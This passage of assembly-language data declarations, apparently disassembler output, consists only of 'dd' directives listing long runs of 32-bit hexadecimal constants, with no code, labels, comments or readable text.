		dd 8330780Ch, 1CEA3961h, 87EABDD4h, 51BDCECh, 0FE9F5A82h
		dd 2113F093h, 0B9E2903Dh, 4416E944h, 7E2323ABh,	2B0EC413h
		dd 131176F7h, 0D6A24EB7h, 0E197E47h, 0B33A7601h, 67E46C85h
		dd 65662CA0h, 0B27A05DAh, 0FAAE58F0h, 837FA5E7h, 0C26CE955h
		dd 0F55992F6h, 14552CF6h, 220E870Eh, 7FFE7640h,	8933FA27h
		dd 0F14D880Dh, 2BF0BD7Ah, 8378C38Dh, 66647E34h,	5927AD3Fh
		dd 0AB02502Bh, 0EC916942h, 0C2A78523h, 0B7C441C1h, 0CE3CEAC6h
		dd 888AEA6Eh, 0F5EA15BFh, 2B8622D4h, 4C65B9Dh, 8A432175h
		dd 26F14185h, 6E6BFA4h,	9590015Bh, 0EE33058Fh, 14C8D8E1h
		dd 48AC61F1h, 6BC03453h, 9A68F760h, 0B7F97A72h,	1F7E7A5Dh
		dd 0D2295D4Dh, 8006C288h, 33080F22h, 0FC50FA01h, 0F6072CCCh
		dd 0AF063FE4h, 0F762D90h, 9EDFDF7Ch, 329892FFh,	33D4232Ch
		dd 0F72844E0h, 9FC55E7Ch, 0EAB6F385h, 0B4A17477h, 0B5FB2FD0h
		dd 0CBDAEEBh, 8B92831Eh, 0A66E2381h, 0D4F08CE3h, 0BE352F50h
		dd 0A103689h, 9F5BCB8h,	0D7BA1498h, 6362EB5Fh, 51CB1DA0h
		dd 208A331Ah, 6EF36526h, 436C0386h, 0ABAE26BEh,	7DB16399h
		dd 0E75F0197h, 0A3EA3C60h, 3606F54Ch, 0F1404BADh, 0EA6E3EB9h
		dd 37D7B84h, 6322A81Bh,	3B87194Dh, 98F8FA88h, 0E27E200Fh
		dd 94C065A4h, 7F4292B4h, 0DC51838Ah, 0D938436Bh, 63A9272Ch
		dd 0D7237F2Eh, 6FA98E66h, 3BC50651h, 9CAF347Eh,	8993CDFBh
		dd 14C2D7D1h, 2134B307h, 0DCF5F60Ah, 0B35A38B0h, 4440A923h
		dd 0E16AA410h, 44BEE2F0h, 0A74FFD4Dh, 83520D3Fh, 243AC31Eh
		dd 94A73153h, 0DA8DE315h, 9C35D1AAh, 0CEBBE819h, 2200D0C7h
		dd 9064FCDAh, 206E9739h, 2B702FF8h, 0BA18F6AFh,	0C014DD5h
		dd 71BF4C41h, 0AD2C2405h, 8C0F9CE7h, 0FFDE281Eh, 50D8B530h
		dd 6FBA7D1Fh, 0A5F9C1B8h, 36A0A754h, 0CFF55592h, 92A50A71h
		dd 21BEA1D8h, 768E6B5Eh, 8844C366h, 5D083C1Eh, 3B595BE4h
		dd 50C0976Fh, 0C664D97Dh, 0F753D4F4h, 0A137D87Bh, 6A1AD3D3h
		dd 0FA578DEDh, 8B9230CDh, 0A50A54CEh, 8C81C78Ch, 0BECE0F4Ah
		dd 0EBDC0B6Ch, 71CF6859h, 0BD9C1679h, 68EFE486h, 0F12494D6h
		dd 9D331582h, 188F7F2Bh, 6F34949Bh, 0AFA0BEE6h,	2E43A5B1h
		dd 4AD939Ch, 0E303BDDBh, 41C9480h, 0FBAE330Fh, 5B6745A9h
		dd 0E0076F1h, 2DC894F7h, 19F8CFDCh, 0D03FEB7Fh,	0CB066998h
		dd 827B51E3h, 0DDBF99D8h, 69CEB167h, 0F9BE847Dh, 4EEF406Fh
		dd 829FC899h, 91569488h, 7EEEBBDBh, 0BD320767h,	0FB3F3649h
		dd 80C19E39h, 92020D8Ah, 8B136CACh, 926C87F9h, 0B761E832h
		dd 0F250E89Fh, 937DDA2Eh, 8A726C61h, 27A89FEDh,	0D10796F6h
		dd 37B5F1AAh, 18A53169h, 0A75D5423h, 0B28BEA07h, 0FAC0AA5Fh
		dd 2C87E251h, 0FB9038CBh, 0BBBC93E1h, 1F4E3A57h, 3B73C57Fh
		dd 0B877EC68h, 6F9A7EECh, 5D89F8FFh, 0FAE0A178h, 0D87DC2ACh
		dd 52B9F255h, 5B9B3D64h, 3128862h, 1A58CBC9h, 45C3FFF7h
		dd 0EE84B7F6h, 58765BD5h, 76B41637h, 9C0058B9h,	0B3C42B3Dh
		dd 0ACD1B0CAh, 0A0A7F0EBh, 464B151Ch, 5D661289h, 165FE6B9h
		dd 48B5B210h, 0B08CC8EEh, 8D9BBFDAh, 6F5B0FDEh,	418DDF2Eh
		dd 0E0034379h, 5B8A5283h, 37D57263h, 0A8B8B7A1h, 0B2C44322h
		dd 0E5E3A089h, 86C5350Ah, 65DE9E7Bh, 0D80A0FA7h, 1D511506h
		dd 0A5116067h, 0E9874C66h, 5318FCB2h, 6DD1E2C2h, 0B76D8FAEh
		dd 0BA226FD0h, 0FEC8FD8h, 6B73A7FCh, 0D9DAD3ECh, 0AB486535h
		dd 0E87248A4h, 0A20C16A9h, 0CC239007h, 17DFD1EDh, 34E9F5D7h
		dd 7D126C5h, 978A7173h,	0A37AED5Dh, 35CE1A95h, 0E0F682A6h
		dd 5F76D022h, 0CA4A3B3Dh, 57C059BAh, 1A384E07h,	8A8C9E74h
		dd 0E3CCAD27h, 436E8A70h, 0E2C347B7h, 0C9823283h, 0A91EBD64h
		dd 3738AC5Eh, 0BB02F120h, 7515B71Ch, 14BAAF4Eh,	8DCEDE1Ah
		dd 0BD339137h, 6F3FC6FBh, 7A4B8ECAh, 86AC8A4Ch,	7D583D22h
		dd 0E25F54A9h, 0FBE60FDBh, 6478E5E6h, 9506621h,	0C9154F83h
		dd 0C136B6ABh, 574997DFh, 7E7D913h, 2F80B5B0h, 29F24968h
		dd 9EAB84B6h, 0B9A7030Ch, 6B53946Ch, 6C2DD05Dh,	0EB82BB7Dh
		dd 0A4472960h, 36A8EF2Bh, 5D4D0631h, 5936C55Eh,	8F09B6B7h
		dd 0D384D9BEh, 4BFFE634h, 4C3DEDAh, 631B7D74h, 5EBB9A9Dh
		dd 0C1F3A24Dh, 3E680341h, 0B2076B1Eh, 0B3651135h, 8CB820C0h
		dd 6063F797h, 0EB99A278h, 0CE5BA197h, 0C036F043h, 34473EFBh
		dd 9D5F958h, 0E749887Ch, 78EC77A8h, 0FF268D4Bh,	3253ABBDh
		dd 15AD64B0h, 7D1353B7h, 1A0F84DBh, 0A7343205h,	21A4CD2Eh
		dd 73ACFF2Fh, 4EFC1A6Ch, 634ADFAFh, 2EE9FE7Ah, 0ED4B82E8h
		dd 8F3B340h, 0F8C3F762h
		dd 8CC7F0B0h, 5BBE8269h, 0B6885BC7h, 0BD2D0870h, 7101DF78h
		dd 1CFE4E40h, 0C049FBBBh, 256DDD2h, 67BA77C8h, 20FBDE31h
		dd 0DE0924BCh, 0E6120BABh, 4E0FBE05h, 0E6F01B9Ch, 328BF150h
		dd 0A8C51F67h, 1152DD37h, 0C6406501h, 91E7004Eh, 558C3E7Fh
		dd 4712CAB0h, 0C3D5A1BBh, 3AA324CDh, 0F3FAF485h, 9E5E13A9h
		dd 0CB873D20h, 0A94F5DCFh, 808780E8h, 940CEFB2h, 0FC5F38D7h
		dd 764B3698h, 0EE4776B3h, 8FECDBAEh, 930A78A1h,	0C68A67C4h
		dd 89BC024h, 0F6AFB03Bh, 0FDFA926Fh, 0FD046382h, 0D21E9AC0h
		dd 732FC288h, 3DDAF667h, 2DC15ADDh, 160224F3h, 6B517C19h
		dd 49C4A3C9h, 0D29B7C8Ch, 0CB798B20h, 466FDD81h, 8BA1AF19h
		dd 8D24C72h, 0E968B8ECh, 0DE6F6FE1h, 0E3C58241h, 87D4C479h
		dd 0A49AF862h, 0B4A2D6CFh, 6A940F4h, 0A004433Ch, 68C97E5h
		dd 41EAA6A2h, 5E4FFF85h, 0D8D4FB12h, 711E76BBh,	79223E9Fh
		dd 0F0691B6h, 9BC1FCA4h, 0A9CFA7C5h, 0AF968515h, 95C962CFh
		dd 716D857Eh, 20DFA5BCh, 8F7B5367h, 1A8DC2B9h, 37318B47h
		dd 9232E03Fh, 0E7718223h, 0DAA6191Ah, 9341214Fh, 0B8B55AD1h
		dd 76D6B2E6h, 0F16FD01Eh, 59A821Eh, 0C15A48CBh,	0FFBA5BCh
		dd 0B39B944Eh, 8B35E2CBh, 1B1332D2h, 0E699F2CDh, 0A70FEDC2h
		dd 2B3E8F9Dh, 28302F35h, 0E9C887EDh, 0F40654D9h, 5E1272C1h
		dd 6276F364h, 44EBA21Bh, 0E184DF56h, 0AE6FE5ECh, 0F185C6A5h
		dd 1258C259h, 22E99DC7h, 0CAA5C089h, 6D14729Fh,	8D7E6E1Ch
		dd 1FA59DB1h, 15475F88h, 239E5AADh, 0A8B75C70h,	0A0A69B24h
		dd 124E3075h, 6B1A881h,	0A7E06C69h, 0DD3F98F8h,	0F31395E9h
		dd 50D9F8C1h, 0B69F107Ch, 0E937FD2Fh, 0EAE947ACh, 0DCCDED71h
		dd 300036F8h, 920D1897h, 7F74BBDBh, 4EE494A4h, 0F92582ABh
		dd 23EB5896h, 0E8330CE9h, 2B76831Ch, 0FA452F43h, 8FF60B9Fh
		dd 502D682Bh, 10CD42EDh, 0AA6703D5h, 87FF9B0Eh,	4394BF6Ch
		dd 0A0614D33h, 59E8BAFCh, 411A69BBh, 0B2CA9366h, 0AA5B674Bh
		dd 0A162541h, 7FAC01Ch,	3B48C9FFh, 6E60510Ah, 0BB7A4F9Ch
		dd 64A6DED8h, 9013399Ah, 0DBED5E70h, 0DAB70543h, 6FEAEA5Ah
		dd 7C41C9E0h, 52607D34h, 7501E0E3h, 619606D3h, 0B65EFA1Ch
		dd 5A8EE17Bh, 6DE4481Dh, 0A9B1FD8Eh, 0D9EEA8D4h, 62294DEh
		dd 0A7666FD0h, 0A0DF8692h, 0D1182EB3h, 83CFEC0Dh, 8CF079C9h
		dd 4E9EC8FCh, 266E2D59h, 6593F937h, 79A2DDA1h, 0FCCAB9E0h
		dd 2B139B42h, 0A0BE3CDDh, 8C0A2555h, 0C3B1A573h, 80F88DAh
		dd 1031CA0Ah, 75E01F94h, 7A96AB6Dh, 0F05EE2E6h,	0E8C9E336h
		dd 1F054D65h, 0FA855FAEh, 2AD4D71h, 0BA14E123h,	0FB26D355h
		dd 2DBE7EDCh, 21DE4E9h,	0D6CE3669h, 16D1543Dh, 29604078h
		dd 77CDAA54h, 1147609Ch, 81F2D842h, 9CF035BFh, 35BC1BCFh
		dd 0D917B0FEh, 0A5D3E98Ch, 3A2A8A09h, 999C1839h, 39358A26h
		dd 0D6A1D6D0h, 1961F6Eh, 19EF2433h, 1162BF2Bh, 17F41227h
		dd 4D0353ECh, 0C3180793h, 34BE0A90h, 0D78D4DEBh, 0D92F8A41h
		dd 0B8724D7h, 0B91A0FBAh, 0A7F263Dh, 0CA82C561h, 84B80A1Dh
		dd 6247806Eh, 0E7F86AC6h, 0BD862116h, 6245CDB9h, 943CCA39h
		dd 60E50AFBh, 0D497E62Ch, 0A35E68ABh, 45AA37Dh,	8F295C55h
		dd 0AE07410Fh, 0D73B526h, 0DF6F7092h, 5139BD9Ch, 5C2C972Fh
		dd 0CC1A3C33h, 622B1EFh, 2A173931h, 0A05C169Ah,	26D1B0C7h
		dd 1EFF766Fh, 2470C904h, 8F536E5Fh, 5C599D7Bh, 0B23A94B6h
		dd 27D8C1EFh, 0A1F419CAh, 6CF294EBh, 22FBDD13h,	3455EF5Bh
		dd 6245C2D3h, 79B78541h, 0AE56ADE9h, 396A12F1h,	0F596BCEh
		dd 0F81324A1h, 5F7435DCh, 249A86DFh, 4A356A06h,	0B4A4F5D2h
		dd 75B4C590h, 0D34FA492h, 9FAF2A1Eh, 59D53250h,	9F94B2FDh
		dd 1D22BC71h, 5D596259h, 11F47537h, 5907BB2Bh, 5CE5F82Bh
		dd 1CA2672Dh, 0C24AD807h, 5BB27B3Eh, 6A79266Dh,	0F309739Eh
		dd 868AB700h, 1219A51Ah, 490924DAh, 20BA9428h, 0A816C765h
		dd 766B7E2Bh, 113C36Eh,	8DB8BAE3h, 2C4261E3h, 0FC7A2201h
		dd 0C1533ADFh, 75A4FB6Ch, 2E952CCh, 2AAFF1BEh, 0A91879F2h
		dd 335D6615h, 76ECB878h, 4F515520h, 163E54D7h, 75B1716Ah
		dd 52F14875h, 7B44C2BAh, 76493A9Eh, 57DEC831h, 131EE1EDh
		dd 752541A2h, 68C94F44h, 0F82205CFh, 8B4AE582h,	5C90F9B2h
		dd 74E6FC52h, 6DBBFCF8h, 0F701531Bh, 52E780B3h,	2C7A7F8Ch
		dd 0CB256DD9h, 82846125h, 0D56581FAh, 98188720h, 0A4C20BB7h
		dd 5211587Fh, 49B272B8h, 32668E77h, 7171A85h, 8ED7687Ah
		dd 59E95BB7h, 0AD65E043h, 8034D75Ah, 135F7651h,	28F2CCCDh
		dd 8F5BC3C3h, 0D85C1A24h, 467346E0h, 0BCD982AFh, 6536F1E6h
		dd 0F13299F4h, 495F68F9h, 0FFAF455Fh, 5FC0B174h, 0B787ED17h
		dd 37468942h, 448063BCh, 0F56FC00Dh, 0A6BB3FDFh, 0E0F7C78Bh
		dd 6D207D03h, 5527B359h, 5D4F52C2h, 0D2A43C71h,	8DDC8BFAh
		dd 73933FD6h, 12608188h, 301EECA4h, 97922D53h, 0F4D14713h
		dd 0AC0719DBh, 8B381284h, 6A680331h, 2FC4840Ah,	6AC4FF7Ah
		dd 615113DCh, 7D02E2D1h, 289B2187h, 9F1276Bh, 0D273C77h
		dd 0BB5BBB57h, 16D05C2Ah, 0D46820F7h, 0FDAF28Bh, 0F6CAAADh
		dd 868F8F0Dh, 0DE21CF7Eh, 1DF28B0Dh, 0AAC195F3h, 312F106Fh
		dd 0F70751B8h, 8519C300h, 8FECA504h, 36376EF6h,	0A045DB1Bh
		dd 690B087Fh, 43AA12B9h, 2A3D958Dh, 6E889B0h, 7752AB25h
		dd 0BE7E5527h, 0E4A1FF86h, 0B1883AE2h, 9F3C106Fh, 8694AC82h
		dd 0AE0D2C19h, 0C0BE4121h, 0AC4BB7DCh, 0C10B80C7h, 27F1BC88h
		dd 3BF0E29h, 10FA0AC9h,	8B24901Eh, 0A51374A9h, 56AA0765h
		dd 0F32BB1E6h, 5642532h, 8BCADA14h, 0F703AF04h,	0B0718092h
		dd 0E0A53692h, 606A60B1h, 38A7B2E5h, 0BD2BE6F6h, 92A52C2Eh
		dd 0EE0FF825h, 3B0446F0h, 7F64AC30h, 13F74286h,	0B55BA963h
		dd 7D1BB8DDh, 8EAEB2AAh, 0C34E18E2h, 2C737DE3h,	5EEAD9ABh
		dd 549F2D85h, 0AE477BFEh, 0C4153B2h, 371D8BBCh,	0BE0D519Bh
		dd 81C1769Fh, 0F82A7F4Bh, 0E470A89Ah, 31B420F7h, 48ABEB98h
		dd 3B0ABDB3h, 10DB9BCAh, 0AB51D2E5h, 351158C3h,	33A9F399h
		dd 0D45620B2h, 73DA7E3Ah, 0B83B1964h, 0B6146F30h, 0F85DD313h
		dd 22291331h, 0A0747BF0h, 0E5BFD69Ch, 90BA22DEh, 0D4A36C82h
		dd 900D60F9h, 4CCAE8ECh, 84396E2Ch, 0AAAFDD86h,	10216C53h
		dd 830B7070h, 7EE1DF13h, 0DFFFEAFBh, 7B6F22DCh,	0CA6516D3h
		dd 0D517B029h, 42215387h, 4A25917Eh, 9CD586DDh,	9B458Dh
		dd 445F4142h, 76840B67h, 0CEB41AD5h, 450DEBECh,	8F25F96Ah
		dd 5C0B4456h, 130DD9A2h, 0D91E5AFBh, 0D224F90Bh, 0D54C0210h
		dd 62C20D04h, 0B0AE4C5Bh, 31DC2E2Bh, 0F80AE12Fh, 5E3A25B2h
		dd 246026F5h, 6AC23FC4h, 610D61EBh, 67615208h, 0D36BD138h
		dd 0CBC7D2B2h, 0C04BE91Ch, 0EB536F4Ch, 0F8792462h, 0DAAE4E2Eh
		dd 7317ABABh, 0DFD0C666h, 22624C75h, 2A6769B3h,	0DE036EC1h
		dd 9F3BDE38h, 0A8154708h, 0E5DE1AA8h, 7B8B12C5h, 41643F3Fh
		dd 0B1AEA9B8h, 5B6AA6E3h, 0E0CBF83Ch, 2EB033C1h, 212F73FFh
		dd 7462AA8Eh, 0C631EAEBh, 0BDD16B8Fh, 6D4900DEh, 0F6DE6001h
		dd 0E4FC5B09h, 44AA6C19h, 0A8B7AB24h, 0E7599E4Ch, 0D8D10D6Bh
		dd 0E1560222h, 297CC178h, 620AF086h, 50B95F6Eh,	993DF6Dh
		dd 90DA0460h, 41CB9130h, 9488DC56h, 6E0789Eh, 418D650Fh
		dd 225FA3FAh, 526DC0AFh
		dd 8CE06F35h, 295CA252h, 0AE29E080h, 2CC0DD8Fh,	8FCC84D2h
		dd 669ABACh, 0F55DA87h,	0E6D7A6D1h, 50DFA39Ah, 0F7762103h
		dd 0C7F892BAh, 0F83E6C2Fh, 4E1AC02Dh, 0AA5FBCEEh, 57BEC42Ah
		dd 0CA814AB8h, 2289FCA4h, 93FE5272h, 0A110569h,	0F39C0465h
		dd 83A36507h, 0EEE011A6h, 32959135h, 6FA7D3D4h,	0F202542Ah
		dd 4EA0B71Ch, 1E0813D9h, 328D1EE7h, 7080130h, 93759719h
		dd 0C35173A4h, 22D02B49h, 9FB7D536h, 408F76E0h,	0A2F48CEFh
		dd 3A44751Bh, 0C7A47C70h, 71FF5AD8h, 0AA1A56C8h, 77B7CC6Eh
		dd 28D35902h, 1E332477h, 9D3BA563h, 7EA47311h, 977A7782h
		dd 4446EE01h, 6B389B83h, 80411B52h, 32BCB32Ch, 0A1597D6Fh
		dd 739B216Dh, 0AD80EDA1h, 3D295A06h, 25929420h,	721C021Ch
		dd 0A07EC052h, 2A8CE467h, 437AF895h, 77A29EF3h,	0C8063C18h
		dd 8DF8C869h, 461668A7h, 0A085758Dh, 0FB773CECh, 7C12FF54h
		dd 0C0F662Fh, 550B092Ch, 0B7453080h, 9477C148h,	13E0B86Ch
		dd 7D8641h, 0AF5B1B89h,	3358EA2Bh, 1F4BDD12h, 0A078B35Fh
		dd 6362B053h, 0D79C7262h, 0CB025C1Fh, 35DA5314h, 958EBC6Eh
		dd 87486860h, 0ECDD57B2h, 63BFD647h, 22C08897h,	0BA3134CCh
		dd 6BF9D8D8h, 0EF337732h, 0A5302B52h, 509F8CB3h, 199665C4h
		dd 8491998Ch, 0A433C13Ch, 50D4C88Bh, 9C02CEACh,	0B4082618h
		dd 68BFA61Ah, 70A59DD2h, 0B4266A3Ch, 22E813C7h,	0AC2A2A84h
		dd 81F2052Fh, 9FC85516h, 9F759D5Fh, 3D71B133h, 1594BC7Ch
		dd 0C304781Bh, 6087FF00h, 0DF6F9182h, 0D9371C5Bh, 5CF03946h
		dd 21DA7DDEh, 5656D83h,	945824C7h, 0B4F6FECAh, 0D25102CBh
		dd 361434FAh, 0BBF613BCh, 0FF0D7B99h, 957DB423h, 6C66997Fh
		dd 0AEDF0D24h, 0B5978FE7h, 7DBD4091h, 91636A36h, 18E503EDh
		dd 2A3EB405h, 0A04F5FB6h, 0C1484A8Fh, 0AFFEE4E7h, 0D6E1D0E4h
		dd 8DD909D6h, 0BE4910E9h, 777921C6h, 27D4F148h,	564993A5h
		dd 0C826AD0h, 0DBD86CEEh, 0B09B04BAh, 3DF2AAA4h, 4E127713h
		dd 0FC14293Ch, 50E82F4Ch, 0D23F49Eh, 0EDA4699Eh, 988271E6h
		dd 33B6DADEh, 0F0AF3092h, 0F702D5D8h, 19D915EAh, 737133C9h
		dd 0E1103E86h, 78066597h, 0C5D8FBCEh, 991C841Ch, 0D5FA373Eh
		dd 4EBDD9AEh, 0A741CDBDh, 2AF93F98h, 69B472FEh,	0C6BF55Dh
		dd 409E65F2h, 500DD394h, 8B441C5h, 88EDEDF1h, 87E45065h
		dd 442DCB00h, 0BDF397FBh, 0E58861B8h, 2E4A88D5h, 188C525Fh
		dd 3FAFCC59h, 0B02BC136h, 0B6178330h, 0DA92C586h, 0DE5B23E2h
		dd 9FDCB113h, 71EDB901h, 9FFA31EDh, 81E0677Ch, 1191B2A4h
		dd 8FCF3302h, 0E0C9B741h, 0DDCF14B9h, 0FEC12573h, 0A991161h
		dd 604901ACh, 0B83D136h, 5491B6ADh, 6D579E57h, 9C3BC98Bh
		dd 1FD7B105h, 0CC6BB2BEh, 6B7E61D3h, 0E1E33ECBh, 72931E38h
		dd 0A84A6121h, 90940D98h, 69B0AA20h, 0DA7C2667h, 5A3C822h
		dd 7F6204E0h, 53C7DF41h, 89BF2EBh, 0FC0577DBh, 27AA92C3h
		dd 96025A82h, 0F5012AC6h, 2A535FD7h, 53A99FE4h,	84DE9A4Ah
		dd 966CC565h, 0B5FB4640h, 432421E2h, 52582B33h,	0DB4021A1h
		dd 0A0F31433h, 386FB1FEh, 6A8A17C6h, 731B41F6h,	0E9D18AB6h
		dd 6740F8C4h, 9D2522F5h, 0F19A372Eh, 52E2031h, 3371D09Fh
		dd 69CFD6F9h, 0C8D69A4Ch, 0D241422Ch, 86B32EDh,	0E10DA237h
		dd 920A1EEFh, 0D315361Bh, 0E4FD0E3Eh, 0C9B9D1B5h, 309AD669h
		dd 0EC35E247h, 0C6BFFBDEh, 0EB39FC67h, 2CB41F91h, 0DB90AE79h
		dd 0E87C6904h, 0CB172F15h, 27D3C9A3h, 5A07C160h, 0EF850D99h
		dd 0C4FF094Eh, 4C66E8FBh, 28185B7h, 52F2A229h, 0B591FC26h
		dd 9A9A45C4h, 0F768D43Dh, 5CC997B0h, 0E4261B9Bh, 31F02051h
		dd 7BA00710h, 53F83655h, 0D5092DE1h, 2FE3772Dh,	0E06F2D74h
		dd 0B7582084h, 0A74E3DA2h, 0FF6D038h, 75B743C6h, 0FF64E58Ah
		dd 484878ECh, 0DC11FCA5h, 993E0BA6h, 165FB94Ch,	0B3901B25h
		dd 7EB98529h, 4858755Bh, 0B0FBD96Bh, 2BC14009h,	8FB5BA1Dh
		dd 7E19D519h, 8C2E2A76h, 0A4938894h, 99915F17h,	19718E27h
		dd 501B7D4Eh, 85858C94h, 50934904h, 1B9B235Dh, 0CBFB2248h
		dd 0F1F5752Fh, 0A5366E18h, 5A638090h, 38FC2080h, 0ED54D4B6h
		dd 5C093A32h, 22168E60h, 0B14F45F4h, 7DCB4102h,	0FCCFE490h
		dd 2392C203h, 0DE89CF04h, 375F51Ch, 11BA54D5h, 0E08A10A0h
		dd 78233859h, 370264C1h, 0CCCD433h, 0BB4B9019h,	6B1ABD94h
		dd 0DDA98800h, 9BFCECBAh, 9EA01FEEh, 2FBFA717h,	0BEDB7981h
		dd 4027D082h, 6451E412h, 0DDBD2783h, 215FB36Dh,	99DFB3ECh
		dd 3DE1B4E1h, 6098E0C8h, 0E8F237B4h, 2141011Eh,	0D3C2CDAAh
		dd 94E638CCh, 0A502BD83h, 904C6A48h, 9A4B9223h,	777F7D7Eh
		dd 412073F3h, 96E84006h, 48F76DB7h, 0FF6AFA0h, 0A83291FDh
		dd 0B438B4B5h, 5F727D80h, 0B320E698h, 0DB45E4B7h, 0A8A47517h
		dd 0EAEC6F57h, 0F9D1D8D6h, 0D6C2BBE5h, 0D194942Fh, 0DCC3659Fh
		dd 4C859624h, 1076B5h, 84DFE29Fh, 0E4F3C369h, 1EEC3014h
		dd 2200374Fh, 0BE7473A3h, 0F2877D2Bh, 0F4D23F4Ah, 597E40E9h
		dd 3261F4DFh, 8F78A4A6h, 1DF76155h, 0DBBC9473h,	96099F0Dh
		dd 0A2432F70h, 22255579h, 26BA686Fh, 2C796A9h, 0DBEFC0BBh
		dd 54002991h, 156CC8C5h, 0B5DAF893h, 22EF27BCh,	267075ABh
		dd 45EF44F0h, 370B242Fh, 9DED78A6h, 9782ED42h, 0F4488021h
		dd 6F2A3521h, 9505EEDEh, 0D771E476h, 8F4EBE4Ch,	2982117Ah
		dd 0DA1BBFBCh, 77516547h, 0AE5DAEF3h, 0DC35FAB8h, 96AA44DEh
		dd 7E0C1BB3h, 2DB4F20h,	0F96B0F90h, 0F53188B2h,	14564001h
		dd 42AB9A9Bh, 0BA24D84Bh, 0ABB6D0BDh, 937A8CAh,	0A8E3B55Eh
		dd 1FB1C135h, 21E8ED90h, 0BAB25F68h, 90D52BBh, 9ABABA88h
		dd 0E72B3E3Dh, 0F148AD74h, 99192FF5h, 0E25FA1F6h, 0CDFC0B36h
		dd 1F801686h, 6B261D51h, 1A237A2Eh, 7250AE42h, 7DF59E6Bh
		dd 0D241EAEEh, 0FC67A709h, 0E31CDFBAh, 0FC73C206h, 39C8C9B6h
		dd 44CC72A3h, 0EB35F16Ah, 0E205157h, 44E9D8DCh,	0E5C51031h
		dd 0E05A5E6Fh, 0E3599563h, 0D3A2033Ch, 20F05499h, 3C67A8E1h
		dd 0BD0E7E26h, 58B4C44Ch, 90341567h, 0B64DF1BBh, 7D99205Dh
		dd 5618E568h, 4585A10Ah, 4C2B75C2h, 3F87EE33h, 0B25DE07Dh
		dd 28A04EEBh, 0E45CC873h, 0E0E823AEh, 9DE5E45Ch, 1AF17184h
		dd 8A572660h, 0F9A85E2h, 1CE56232h, 82179274h, 0A5188981h
		dd 1B16AC6Dh, 0D5560FB4h, 429A32D6h, 995AB814h,	33894CE6h
		dd 0F32A5A17h, 5E93A40h, 14F08A37h, 7A475622h, 0CCDA39h
		dd 45007DCBh, 0CC8F9BB3h, 0F7871C0Ch, 0D2E7C284h, 0D91B3A0Ch
		dd 0B8AE7391h, 0CBE1CB79h, 0AEC5D412h, 90598E02h, 39582073h
		dd 9D8D19DFh, 0AD1897h,	2175F0E9h, 115E4A09h, 0A48D7D6Dh
		dd 3B53049Dh, 326D6980h, 8431272Ch, 0FE6868A9h,	32AD47D9h
		dd 0D13CC76Bh, 0D7380E42h, 54D8410Dh, 11854534h, 8DA99AC8h
		dd 7268DB41h, 238F5F99h, 0D8208185h, 0F893F465h, 0B4F26BC5h
		dd 0E2ECFF98h, 0D274276Fh, 0B563ABBBh, 39B37942h, 0AEB50ECEh
		dd 0F571EC7h, 0DF44531Dh, 4F4FBA8Eh, 631552C4h,	98CF385Ah
		dd 18664749h, 0A347D894h, 0F46F5D2Fh, 54705A91h, 6F11AF55h
		dd 38520548h, 0E734CC6Bh, 7DBF7CDCh, 0ED060A2Bh, 0F470BC30h
		dd 0DE69DCD3h, 0C48A1194h, 1B0DFC87h, 76918FD2h, 0EEC3FB26h
		dd 9EFE2631h, 0E31F28B9h, 444C20BFh, 0FB53A7D8h, 34D1CAF3h
		dd 0ABCB3AC8h, 1E765DC1h
		dd 1F499083h, 4F08AA59h, 83ED0E33h, 2350B471h, 13FFB6Eh
		dd 5577E12h, 2190324h, 47068946h, 7C2F2C95h, 0BCA6BE06h
		dd 1E465A0h, 73A54DFCh,	0D1C50B21h, 0C40D3AF4h,	0AC032F38h
		dd 6F9642E4h, 0EE226F24h, 0D39FC7FCh, 0C360E9D8h, 0F620BFB8h
		dd 2B6CB122h, 0FA250A32h, 0C1660394h, 9F73D619h, 0F2BD1695h
		dd 3E700FD4h, 3A657CECh, 0AECA5379h, 0B27BED56h, 41A7BAA4h
		dd 0A08E2F4Dh, 0F31D42F7h, 0FC3708B2h, 821B80DAh, 0B8C7EC5Dh
		dd 0AF8B2CCDh, 0E37812B6h, 0D63EAA2Ah, 7A0633C1h, 0B4B6683Eh
		dd 0F8399DEBh, 0F2C2B82Bh, 747C4D77h, 83E77F01h, 0DB8671AFh
		dd 1F45ED1Fh, 973A6EB0h, 0B6EB6AAAh, 0E1B082F8h, 0AE418FE4h
		dd 4E97B7D1h, 4CD023EAh, 909F5058h, 0E9D0D51Eh,	0CA90805h
		dd 5BAFF72Bh, 0F70227E4h, 33FCDA35h, 0C85C1EB7h, 2191C6DBh
		dd 58CE45FFh, 0D666C8BDh, 56D6DD07h, 0EAF50EAFh, 0AD31DBC1h
		dd 3B5177BCh, 33A9CEAEh, 5889878Fh, 50580D88h, 2D81BD5Fh
		dd 78A5C0D1h, 8D1BE25Fh, 157CDFA9h, 25C728AFh, 9D8AE310h
		dd 0A73FC890h, 6FBD8000h, 0EE227E42h, 3FF8642h,	0E3EE6B25h
		dd 0D8DE4A9Fh, 136CEDB7h, 2B755D7Ch, 46D941B1h,	555F29D2h
		dd 5CA3C7B6h, 0B438FE75h, 0B9E7D263h, 0AC9F33F2h, 0D59F407Fh
		dd 0A95F67F1h, 98294BC6h, 0D2E71A08h, 1E04F413h, 6B60A0EBh
		dd 0EBBA19DAh, 1C2564Ah, 62D7A241h, 764BDCBh, 0DA31D8FEh
		dd 3D8587C2h, 0E272C8D5h, 81756089h, 23B697B7h,	5105113Bh
		dd 387FD798h, 3C518741h, 16A9C3DEh, 0A477EE35h,	0CC2D3394h
		dd 0A919E08Dh, 1C7B1D8Bh, 0A68EAE96h, 60BBF230h, 4665DC28h
		dd 23B92145h, 99DBF78Ah, 33708B0Fh, 0B64C34CEh,	5812CAECh
		dd 592690E1h, 8E1ED9Ch,	0A39D1C00h, 0E9E1F379h,	0C0997984h
		dd 0F7B0FB4h, 0FB343C4h, 1F484FB6h, 0B3169E19h,	6795BAD6h
		dd 96689F13h, 0BB859CFEh, 3E1D9977h, 96A7266Eh,	0D7691840h
		dd 0F85E2F5h, 0F2D3476Bh, 3FC03E1Fh, 0B06425BFh, 29B210DDh
		dd 9F1BE505h, 9FD002B7h, 6145C29Fh, 0A262A704h,	209D8D38h
		dd 5076EED8h, 7D90888Ch, 178729C3h, 0C988A25Dh,	0DF4FB23Eh
		dd 70794016h, 0F0BECE4Fh, 0AC43ED49h, 0BA66729Ah, 866882ABh
		dd 0CCC19E81h, 278BBFF8h, 89B89E95h, 0B5B8C0F6h, 29FFB0AFh
		dd 649ED4FBh, 853BC066h, 0EFF2399Fh, 13BD081Ah,	3F2B56BCh
		dd 3BDBC7EBh, 9CED16CDh, 89D4A48Bh, 2BBF2B2Ch, 94EA50E4h
